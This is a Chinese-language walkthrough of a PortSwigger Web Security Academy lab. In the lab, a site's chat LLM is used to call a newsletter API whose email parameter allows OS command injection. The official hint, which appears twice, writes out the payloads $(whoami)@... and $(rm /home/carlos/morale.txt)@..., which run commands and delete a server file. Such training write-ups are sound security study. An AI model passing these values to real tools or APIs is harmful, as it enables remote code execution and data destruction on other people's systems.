网页 LLM 攻击: Exploiting vulnerabilities in LLM APIs
利用LLM API 的漏洞
PortSwigger靶场地址: Dashboard | Web Security Academy - PortSwigger
https://portswigger.net/web-security/dashboard
题目:
官方提示:
从实验室主页点击实时聊天。
询问LLM它有权访问哪些 API。LLM回应称它可以访问控制以下功能的 API:
- 密码重置
- 新闻订阅
- 产品信息
考虑以下要点:
- 您可能需要远程代码执行来删除 Carlos 的
morale.txt
文件。一些发送电子邮件的 API 有时会使用提供远程代码执行路径的操作系统命令。- 您没有账户,因此测试密码重置会比较困难。《新闻通讯订阅 API》是一个更好的初始测试目标。
询问LLM新闻订阅 API 需要哪些参数。
请使用LLM调用 Newsletter Subscription API,并传入参数
attacker@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
。点击电子邮件客户端,观察是否已将订阅确认发送到所需的电子邮件地址。这证明您可以直接使用LLM与新闻订阅 API 交互。
请使用LLM调用 Newsletter Subscription API,并传入参数
$(whoami)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
。点击电子邮件客户端,观察生成的电子邮件是否发送至
carlos@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
。这表明whoami
命令已成功执行,表明远程代码执行是可能的。请LLM使用参数
$(rm /home/carlos/morale.txt)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
调用新闻订阅 API。该 API 调用导致系统删除 Carlos 的morale.txt
文件,解决实验室问题。
第一步:
选择实时聊天,通过询问可知ai有着三种权限。题目并没有给我们任何用户名称,所以我们来尝试订阅新闻简报。
第二步:
订阅新闻简报
第三步:
在API日志中可以找到tool_calls代码,“ tool_calls ”是模型返回的 AIMessage 上的一个属性,用于访问模型请求的工具调用
在linux的bash中" ` ` "反引号括起来的内容是系统命令,Bash会先执行它。
执行“ ls ”命令后返回了一个文件名称,这个文件就是我们需要删除的文件。
第四步:
使用“ rm ”删除命令删除“ morale.txt ”文件,即可完成任务。
从实验室主页点击实时聊天。
询问LLM它有权访问哪些 API。LLM回应称它可以访问控制以下功能的 API:
- 密码重置
- 新闻订阅
- 产品信息
考虑以下要点:
- 您可能需要远程代码执行来删除 Carlos 的
morale.txt
文件。一些发送电子邮件的 API 有时会使用提供远程代码执行路径的操作系统命令。- 您没有账户,因此测试密码重置会比较困难。《新闻通讯订阅 API》是一个更好的初始测试目标。
询问LLM新闻订阅 API 需要哪些参数。
请使用LLM调用 Newsletter Subscription API,并传入参数
attacker@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
。点击电子邮件客户端,观察是否已将订阅确认发送到所需的电子邮件地址。这证明您可以直接使用LLM与新闻订阅 API 交互。
请使用LLM调用 Newsletter Subscription API,并传入参数
$(whoami)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
。点击电子邮件客户端,观察生成的电子邮件是否发送至
carlos@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
。这表明whoami
命令已成功执行,表明远程代码执行是可能的。请LLM使用参数
$(rm /home/carlos/morale.txt)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
调用新闻订阅 API。该 API 调用导致系统删除 Carlos 的morale.txt
文件,解决实验室问题。